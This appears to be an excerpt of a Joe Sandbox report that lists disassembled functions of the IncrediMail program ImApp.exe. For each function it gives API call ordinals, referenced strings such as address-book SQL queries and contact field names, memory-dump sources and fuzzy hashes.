Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310
String ID: Email$MemberID$MemberName$MemberType
API String ID: 1440353294-3487253587
Opcode ID: 0dacd769fd199af090add470435c15289a6c84cb8921045858721f3161a33b74
Instruction ID: 6a3de0a530ac386ba1cff40f6b03b62393bbc726c6bac9d2fb9216187539b25a
Opcode Fuzzy Hash: 0dacd769fd199af090add470435c15289a6c84cb8921045858721f3161a33b74
Instruction Fuzzy Hash: 4DB148712483409FD346DB28C888B6FFBE1ABD9704F28891CF59687290DB75E909DB53

Function 100026F0 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 137COMMON

Download Yara Rule

APIs

#6735.MFC80U(1000C72C,DC7F1836), ref: 10002721
#899.MFC80U(1000C6A8,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002742
#899.MFC80U(?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 1000274F
#896.MFC80U(?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 1000275C
#310.MFC80U(?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002766
#2311.MFC80U(?,%s %s,INTEGER,PRIMARY KEY,?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 100027AD

Part of subcall function 10006E70: #1176.MFC80U(?,?,?,?,100027E9,?,?,?), ref: 10006EBE

#776.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 100027EB
#896.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000AE92), ref: 10002805
#899.MFC80U(PRIMARY KEY,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000AE92), ref: 10002814
#896.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000AE92), ref: 1000282A
#899.MFC80U(NOT NULL,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000AE92), ref: 10002839
#896.MFC80U(?,?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 1000286A
#899.MFC80U(DEFAULT,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002879
#896.MFC80U(?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002888
#899.MFC80U(?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 10002893
#896.MFC80U(?,?,?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 100028A0
#578.MFC80U(?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 100028AF
#578.MFC80U(?,?,?,?,?,?,?,?,?,1000AE92,000000FF), ref: 100028C1

Strings

INTEGER, xrefs: 1000279E, 100027B8
NOT NULL, xrefs: 10002830
BLOB, xrefs: 100027CD
TEXT, xrefs: 100027C6
PRIMARY KEY, xrefs: 10002799, 1000280B
REAL, xrefs: 100027BF
DEFAULT, xrefs: 10002870
%s %s, xrefs: 100027A7

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #896#899$#578$#1176#2311#310#6735#776
String ID: %s %s$BLOB$DEFAULT$INTEGER$NOT NULL$PRIMARY KEY$REAL$TEXT
API String ID: 2070989334-2893786663
Opcode ID: bca3a7341d73476270e1b72fcf449575002138cbf34cd0773af6a30aa5b49ffd
Instruction ID: 25e2465ce433481d0f590523cb065d94b3b05624c9a516995c99fbeaad07665a
Opcode Fuzzy Hash: bca3a7341d73476270e1b72fcf449575002138cbf34cd0773af6a30aa5b49ffd
Instruction Fuzzy Hash: E0516E35108346DBE304DF54CD88E9AB7F4FF98795F004A1CF986931A8DB34A949CB52

Function 020CD080 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 234COMMON

Download Yara Rule

APIs

#762.MFC80U(00000038,265105E4), ref: 020CD0B1
#310.MFC80U ref: 020CD136
#2311.MFC80U(?,SELECT PotentialGroupID, AssociatedMsgID, SentTime, Sum(Counter) AS SentCounter FROM PotentialGroups, SentEmailsCount WHERE Member,?), ref: 020CD15C
#310.MFC80U ref: 020CD16C
#2311.MFC80U(?, LIMIT %d), ref: 020CD188
#896.MFC80U(?), ref: 020CD199
#578.MFC80U ref: 020CD1AE
#20.IMDBU ref: 020CD1B8
#12.IMDBU(?,?,00000001), ref: 020CD1DB
#19.IMDBU(?,?,00000001), ref: 020CD1FB
#310.MFC80U(?,?,00000001), ref: 020CD217
#24.IMDBU(PotentialGroupID,?), ref: 020CD233
#25.IMDBU(AssociatedMsgID,?,PotentialGroupID,?), ref: 020CD25B
#24.IMDBU(SentTime,?,AssociatedMsgID,?,PotentialGroupID,?), ref: 020CD26E
#762.MFC80U(00000028,SentTime,?,AssociatedMsgID,?,PotentialGroupID,?), ref: 020CD275
#280.MFC80U(?,?,?), ref: 020CD2A3

Part of subcall function 020CFD30: #578.MFC80U(?,?,?,?,265105E4,00000000,?,020EF451,000000FF,020CD2CD,00000000,?,?,?), ref: 020CFD91

#578.MFC80U(PotentialGroupID,?), ref: 020CD347
#18.IMDBU ref: 020CD351
#19.IMDBU ref: 020CD35A
#16.IMDBU(?,?,00000001), ref: 020CD399
#578.MFC80U(?,?,00000001), ref: 020CD3AA

Strings

SELECT PotentialGroupID, AssociatedMsgID, SentTime, Sum(Counter) AS SentCounter FROM PotentialGroups, SentEmailsCount WHERE Member, xrefs: 020CD156
LIMIT %d, xrefs: 020CD182
PotentialGroupID, xrefs: 020CD22A
AssociatedMsgID, xrefs: 020CD252
SentTime, xrefs: 020CD265

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2311#762$#280#896
String ID: LIMIT %d$AssociatedMsgID$PotentialGroupID$SELECT PotentialGroupID, AssociatedMsgID, SentTime, Sum(Counter) AS SentCounter FROM PotentialGroups, SentEmailsCount WHERE Member$SentTime
API String ID: 1770121377-1649828848
Opcode ID: 7f1984c5e6cc86dba5c7084d402b6d524fd34e84dc11e982b866d3512f4354ab
Instruction ID: a28a560fccc4875fe07cf2938350d892d0110d8b6c39db3c8c0d3e6297b2d00f
Opcode Fuzzy Hash: 7f1984c5e6cc86dba5c7084d402b6d524fd34e84dc11e982b866d3512f4354ab
Instruction Fuzzy Hash: 27918BB11483809FD760DF64C884B9FBBE5BF98304F14892DE5CA87251DB74A948DBA3

Function 020E82E0 Relevance: 44.1, APIs: 24, Strings: 1, Instructions: 389COMMON

Download Yara Rule

APIs

#1.SFTTREE_IX86_U_60(?,265105E4), ref: 020E831A

Strings

Group, xrefs: 020E85AF

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: Group
API String ID: 0-2885774273
Opcode ID: cc073474b56988b7880089e8750a19bfa9a79abbc288c7d80226013bf319d75c
Instruction ID: 13e1564076a1dcff457b32c001d4d80ac843d98f4872825c3f0c1e50021f6211
Opcode Fuzzy Hash: cc073474b56988b7880089e8750a19bfa9a79abbc288c7d80226013bf319d75c
Instruction Fuzzy Hash: 78E180712083419FD725DF64C880BAFB7E9BF89708F008A1CF58A87290DB75E985DB52

Function 004185C0 Relevance: 44.0, APIs: 23, Strings: 2, Instructions: 210windowCOMMON

Download Yara Rule

APIs

#23.IMUTILSU(FC8A6036), ref: 00418628
#1383.IMUTILSU(?,00000000), ref: 00418686
#1383.IMUTILSU(?,00000000,?,00000000), ref: 0041869D
#6735.MFC80U(?,?,00000000,?,00000000), ref: 004186B3
#667.IMUTILSU ref: 004186CF
#280.MFC80U(?), ref: 004186E5
#280.MFC80U(?), ref: 004186FF
#280.MFC80U(?), ref: 00418719

Part of subcall function 00416100: #310.MFC80U ref: 00416130
Part of subcall function 00416100: #1362.IMUTILSU(?,004265D0,00000000,00000000,00000001), ref: 0041614B
Part of subcall function 00416100: #556.MFC80U(?,?,?,FC8A6036), ref: 00416157
Part of subcall function 00416100: #3391.MFC80U(00008001,00000000), ref: 0041616C
Part of subcall function 00416100: #5091.MFC80U(00000000), ref: 00416177
Part of subcall function 00416100: #3391.MFC80U(00000000), ref: 00416188
Part of subcall function 00416100: #6306.MFC80U(00000000), ref: 00416193
Part of subcall function 00416100: #6306.MFC80U(004265CC,00000000), ref: 004161A1
Part of subcall function 00416100: #3391.MFC80U(004265CC,00000000), ref: 004161AA
Part of subcall function 00416100: #6306.MFC80U(00000000), ref: 004161B5
Part of subcall function 00416100: #6306.MFC80U(004265CC,00000000), ref: 004161C3
Part of subcall function 00416100: #3391.MFC80U(004265CC,00000000), ref: 004161CC
Part of subcall function 00416100: #6306.MFC80U(00000000), ref: 004161D7
Part of subcall function 00416100: #6306.MFC80U(004265CC,00000000), ref: 004161E5
Part of subcall function 00416100: #1443.MFC80U(004265CC,00000000), ref: 004161EE
Part of subcall function 00416100: #6735.MFC80U("/SetPath:,004265CC,00000000), ref: 004161FC
Part of subcall function 00416100: #896.MFC80U(00000000), ref: 00416228
Part of subcall function 00416100: #578.MFC80U ref: 00416237
Part of subcall function 00416100: #1359.IMUTILSU(?,ImBpp.exe,00000001), ref: 00416249
Part of subcall function 00416100: #3391.MFC80U(00000000,0000000A), ref: 00416260
Part of subcall function 00416100: #3391.MFC80U(00000000), ref: 00416269
Part of subcall function 00416100: ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00416277

DestroyIcon.USER32(?), ref: 0041877C
#3928.MFC80U ref: 0041878C
#3391.MFC80U(00000001,00000010,00000010,00000010), ref: 004187A2
LoadImageW.USER32(00000000,00000000), ref: 004187AA
CopyIcon.USER32(?), ref: 004187C9
memset.MSVCR80 ref: 004187F0
#3391.MFC80U(0000003F), ref: 004187FE
wcsncpy.MSVCR80 ref: 0041880D
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00418829
_time64.MSVCR80 ref: 00418851
#675.IMUTILSU(00000000,TrayMsgLastAppearance,00000000,00000000), ref: 00418866
#1350.IMUTILSU(00000000,TrayMsgLastAppearance,00000000,00000000), ref: 0041886D
#578.MFC80U ref: 0041887E
#81.IMUTILSU ref: 004188B9
SysFreeString.OLEAUT32(?), ref: 004188CE

Strings

`Dvp=Dv, xrefs: 004188CE
TrayMsgLastAppearance, xrefs: 0041885C

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391$#6306$#280Icon$#1383#578#6735$#1350#1359#1362#1443#310#3928#5091#556#667#675#896CopyDestroyExecuteFreeImageLoadNotifyShellShell_String_time64memsetwcsncpy
String ID: TrayMsgLastAppearance$`Dvp=Dv
API String ID: 2110941847-684219361
Opcode ID: 60a0039b5e036da676766a1bbd460ed89ffe45fa991d23ef1945cac7a9ed1649
Instruction ID: 3a30e0b05a7af7ecfdeaa93b0cb53200b3925d21b09416a118881da0c049f12e
Opcode Fuzzy Hash: 60a0039b5e036da676766a1bbd460ed89ffe45fa991d23ef1945cac7a9ed1649
Instruction Fuzzy Hash: 5E9150B11087809FC325EF25CD85BDBBBE4BF88305F40491EF19A82291DB759A49CF96

Function 020D85C0 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 206COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4), ref: 020D85F4
#6161.MFC80U ref: 020D8604
#556.MFC80U ref: 020D860D
#5091.MFC80U(?,00007002,00000000), ref: 020D8628
#6735.MFC80U(First name,Middle name,Second name,Display name,E-Mail,Title,Comment,Favorite,,?,00007002,00000000), ref: 020D863D
#899.MFC80U(Home phone,Home street address,Home city,Home state province,Home zip code,), ref: 020D864F
#899.MFC80U(Home country region,Home fax,Mobile phone,Home web page,), ref: 020D865D
#899.MFC80U(Business Phone,Company,Business city address,Business state province,), ref: 020D866B
#899.MFC80U(Business street address,Bsiness zip code,Business country region,), ref: 020D8679
#899.MFC80U(Job title,Business fax,Pager,Business web page), ref: 020D8687
#6735.MFC80U(?), ref: 020D876B
#578.MFC80U ref: 020D8778
#900.MFC80U(020F9BA8), ref: 020D878F
#578.MFC80U ref: 020D87A7
#1443.MFC80U ref: 020D87FF
#578.MFC80U(?), ref: 020D8818
#744.MFC80U(?,00007002,00000000), ref: 020D882C
#578.MFC80U(?,00007002,00000000), ref: 020D883B

Strings

Business Phone,Company,Business city address,Business state province,, xrefs: 020D8663
Home phone,Home street address,Home city,Home state province,Home zip code,, xrefs: 020D8647
First name,Middle name,Second name,Display name,E-Mail,Title,Comment,Favorite,, xrefs: 020D8635
Job title,Business fax,Pager,Business web page, xrefs: 020D867F
Home country region,Home fax,Mobile phone,Home web page,, xrefs: 020D8655
Business street address,Bsiness zip code,Business country region,, xrefs: 020D8671

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #899$#578$#6735$#1443#5091#556#6161#744#900
String ID: Business Phone,Company,Business city address,Business state province,$Business street address,Bsiness zip code,Business country region,$First name,Middle name,Second name,Display name,E-Mail,Title,Comment,Favorite,$Home country region,Home fax,Mobile phone,Home web page,$Home phone,Home street address,Home city,Home state province,Home zip code,$Job title,Business fax,Pager,Business web page
API String ID: 2008999346-2973899292
Opcode ID: afa9d5aceaf57386ed44496ffef08274214a79d5b915425813fd4d3306bbc65d
Instruction ID: 35e7ff138610e830328acca84a8b52fd5b17bb49a07762105eef547abce90124
Opcode Fuzzy Hash: afa9d5aceaf57386ed44496ffef08274214a79d5b915425813fd4d3306bbc65d
Instruction Fuzzy Hash: 5481A130A41349EFDB44DFA8C894FEEBBB5BF44304F148058E606AB290DB74AA45DF61

Function 10008CA0 Relevance: 40.8, APIs: 27, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741e8d5255477e73b74456ab6816d143744d18d751563ada4c3d506d33c79d99
Instruction ID: b7630ba1f1470b8a4b11e0e2e51853895a7128b2e591fcbe0fec5a84fcc6463f
Opcode Fuzzy Hash: 741e8d5255477e73b74456ab6816d143744d18d751563ada4c3d506d33c79d99
Instruction Fuzzy Hash: 55B1B0B1504745DFE310CF24C884A0BBBE4FF85394F258A2DF59A872A9E735EA44CB52

Function 020E13F0 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

#310.MFC80U ref: 020E143F
memset.MSVCR80 ref: 020E14D3
#777.MFC80U(?,?,00000000), ref: 020E14F4
#5149.MFC80U(00000032,00000064,?,00000000), ref: 020E1507
#5398.MFC80U(000000FF,?,00000000), ref: 020E151A
memset.MSVCR80 ref: 020E1530
#777.MFC80U(?,?,?,?,?,?,00000000), ref: 020E1554
#5149.MFC80U(000000C8,00000190,?,?,?,?,?,00000000), ref: 020E156D
#5398.MFC80U(000000FF,?,?,?,?,?,00000000), ref: 020E1580
memset.MSVCR80 ref: 020E158E
#777.MFC80U(?,?,?,?,?,?,?,?,?,00000000), ref: 020E15AF
#5149.MFC80U(00000032,00000064,?,?,?,?,?,?,?,?,00000000), ref: 020E15C2
#5398.MFC80U(000000FF,?,?,?,?,?,?,?,?,00000000), ref: 020E15D5
memset.MSVCR80 ref: 020E15EF
#777.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E1619
#5149.MFC80U(000001F4,000003E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E1632
#5398.MFC80U(000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E1645
memset.MSVCR80 ref: 020E165E
#777.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E167F
#5149.MFC80U(00000032,00000064), ref: 020E1692
#5398.MFC80U(000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E16A5
#578.MFC80U ref: 020E16BF

Strings

d, xrefs: 020E142F

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #5149#5398#777memset$#310#578
String ID: d
API String ID: 2427864351-2564639436
Opcode ID: f3750f75ef997244287f4568fafc2d0f9848cd2cfc16d892897e21a61a776f16
Instruction ID: 478477e3cf7f37fd1b5edb5d874dcdffe96a90e41e35aa70b37599f2c1de45db
Opcode Fuzzy Hash: f3750f75ef997244287f4568fafc2d0f9848cd2cfc16d892897e21a61a776f16
Instruction Fuzzy Hash: 79918D712843019FD741EF58DC81FAEB3E9BF88710F108A19F246872D1DB34AA19CB96

Function 020CB730 Relevance: 40.4, APIs: 15, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

#2.IMDBU(SentEmailsCount,265105E4,AddrBook.db3,00000000,?,?,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CB761
#310.MFC80U(SentEmailsCount,265105E4,AddrBook.db3,00000000,?,?,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CB782
#7.IMDBU(?,MemberType,00000001,00000000,00000000,00000000), ref: 020CB7A4
#7.IMDBU(?,MemberID,00000001,00000000,00000000,00000000,?,MemberType,00000001,00000000,00000000,00000000), ref: 020CB7BD
#7.IMDBU(?,Date,00000001,00000000,00000000,00000000,?,MemberID,00000001,00000000,00000000,00000000,?,MemberType,00000001,00000000), ref: 020CB7D6
#7.IMDBU(?,Counter,00000001,00000000,00000000,00000000,?,Date,00000001,00000000,00000000,00000000,?,MemberID,00000001,00000000), ref: 020CB7EF
#7.IMDBU(?,Product,00000001,00000000,00000000,020F1BEC,?,Counter,00000001,00000000,00000000,00000000,?,Date,00000001,00000000), ref: 020CB80B
#6.IMDBU(SentEmailsCount,?,00000000,?,Product,00000001,00000000,00000000,020F1BEC,?,Counter,00000001,00000000,00000000,00000000,?), ref: 020CB81E
#578.MFC80U(SentEmailsCount,?,00000000,?,Product,00000001,00000000,00000000,020F1BEC,?,Counter,00000001,00000000,00000000,00000000,?), ref: 020CB835

Strings

Product, xrefs: 020CB7FF
Counter, xrefs: 020CB7E3
AddrBook.db3, xrefs: 020CB742
SentEmailsCount, xrefs: 020CB75A, 020CB817, 020CB88A
MemberID, xrefs: 020CB7B1, 020CB874
Member_Index, xrefs: 020CB88F
MemberType, xrefs: 020CB798, 020CB861
Date, xrefs: 020CB7CA

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578
String ID: AddrBook.db3$Counter$Date$MemberID$MemberType$Member_Index$Product$SentEmailsCount
API String ID: 3447019164-2843038928
Opcode ID: 6b71787185ab4af254328313a510fb3bfab4a56c9f1923792c728e6658c5952d
Instruction ID: d111bd51cebb57555b8de603965d8d5c6243e812bb4880f5f748671d68f1a58e
Opcode Fuzzy Hash: 6b71787185ab4af254328313a510fb3bfab4a56c9f1923792c728e6658c5952d
Instruction Fuzzy Hash: 6041E531388300AFE714DB14CC42F9E77E5BBC8B14F10461CF257AA6C0DBB5AA459B4A

Function 004149C0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036), ref: 004149EB
#2311.MFC80U(?,%s\%d,Custom Notifiers,?), ref: 00414A0B
#28.IMUTILSU ref: 00414A18
#3391.MFC80U(0042645C,?,00425A68), ref: 00414A35
#675.IMUTILSU(00000000), ref: 00414A3C
#1324.IMUTILSU(00000000), ref: 00414A43
#3391.MFC80U(LeftPosition,?,000000FF,00000000), ref: 00414A74
#675.IMUTILSU(00000000), ref: 00414A7B
#1453.IMUTILSU(00000000), ref: 00414A82
#3391.MFC80U(TopPosition,FFFFFFFF,000000FF,00000000), ref: 00414A97
#675.IMUTILSU(00000000), ref: 00414A9E
#1453.IMUTILSU(00000000), ref: 00414AA5
#3391.MFC80U(AutoLeaveSeconds,FFFFFFFF,00000000,00000000), ref: 00414AB9
#675.IMUTILSU(00000000), ref: 00414AC0
#1453.IMUTILSU(00000000), ref: 00414AC7

Part of subcall function 00414580: #679.IMUTILSU(004247D4,00000000,00000015,004247A4,?), ref: 004145A7

#1355.IMUTILSU(00000001,FFFFFFFF,FFFFFFFF,?,00000000), ref: 00414B05
#83.IMUTILSU(00000000), ref: 00414B29
#578.MFC80U(00000000), ref: 00414B3A

Strings

AutoLeaveSeconds, xrefs: 00414AB0
TopPosition, xrefs: 00414A8E
LeftPosition, xrefs: 00414A6B
%s\%d, xrefs: 00414A05
Custom Notifiers, xrefs: 004149FC

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391#675$#1453$#1324#1355#2311#310#578#679
String ID: %s\%d$AutoLeaveSeconds$Custom Notifiers$LeftPosition$TopPosition
API String ID: 2027348028-4155657615
Opcode ID: dd923da868375d704181893beaa528d34b8097216d23871e64486994c981dffe
Instruction ID: 212535a8d64ed7d8475b16f585f5098a9dab965edfa1717f8a4c46ddd6304b37
Opcode Fuzzy Hash: dd923da868375d704181893beaa528d34b8097216d23871e64486994c981dffe
Instruction Fuzzy Hash: 1841A271208340AFC304EF64DC85D5AB7E8EF88714F900A1EB592872E1DB78A945CB5A

Function 020D8340 Relevance: 40.3, APIs: 20, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4,?,?,?,?,020EB81B,000000FF), ref: 020D836C
#6161.MFC80U(?,?,?,?,020EB81B,000000FF), ref: 020D837E
#2121.MFC80U(?,?,?,?,020EB81B,000000FF), ref: 020D838A
#2121.MFC80U(?,?,?,?,020EB81B,000000FF), ref: 020D8396
#2260.MFC80U(0000003C,00000000,?,?,?,?,020EB81B,000000FF), ref: 020D83A4
#3990.MFC80U(?,00000000,?,?,?,?,020EB81B,000000FF), ref: 020D83BE
#774.MFC80U(00000000,?,?,?,?,020EB81B,000000FF), ref: 020D83CC
#578.MFC80U(?,?,?,?,020EB81B,000000FF), ref: 020D83DB
#6160.MFC80U("<> ,?,?,?,?,020EB81B,000000FF), ref: 020D83E8
#4100.MFC80U(?,00000000,?,?,?,?,020EB81B,000000FF), ref: 020D83F8
#774.MFC80U(00000000,?,?,?,?,020EB81B,000000FF), ref: 020D8406
#578.MFC80U(?,?,?,?,020EB81B,000000FF), ref: 020D8415
#6160.MFC80U(<> ,?,?,?,?,020EB81B,000000FF), ref: 020D8422
#1472.MFC80U(groupmembers@incredigroup.com,?,?,?,?,020EB81B,000000FF), ref: 020D842F
#2121.MFC80U(?,?,?,?,020EB81B,000000FF), ref: 020D843B
#1476.IMUTILSU(?,?,?,?,?,020EB81B,000000FF), ref: 020D8448
#774.MFC80U(?), ref: 020D845B
#578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020D8489

Strings

<> , xrefs: 020D841B
groupmembers@incredigroup.com, xrefs: 020D8428
"<> , xrefs: 020D83E1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #2121#578#774$#6160$#1472#1476#2260#3990#4100#6161#6735
String ID: "<> $<> $groupmembers@incredigroup.com
API String ID: 134216427-1192988916
Opcode ID: 7e38cb909f9eff3dee728a5315292b6b79500833cf4de3340f077efc356abb94
Instruction ID: 2e5885abe0aa53acc391e137e5b7d623474502669112ab246f854d940f8c0af7
Opcode Fuzzy Hash: 7e38cb909f9eff3dee728a5315292b6b79500833cf4de3340f077efc356abb94
Instruction Fuzzy Hash: CE418F76688300CFC344DF14D858B5EFBE4BBD8654F04491DFA4B93690DB38AA19CB92

Function 020C62C0 Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

#578.MFC80U ref: 020C632B

Strings

Email, xrefs: 020C6354
INSERT INTO Contacts (%s) VALUES (%s), xrefs: 020C647E
ContactID, xrefs: 020C64D5, 020C6512
SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE, xrefs: 020C635C, 020C6377

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

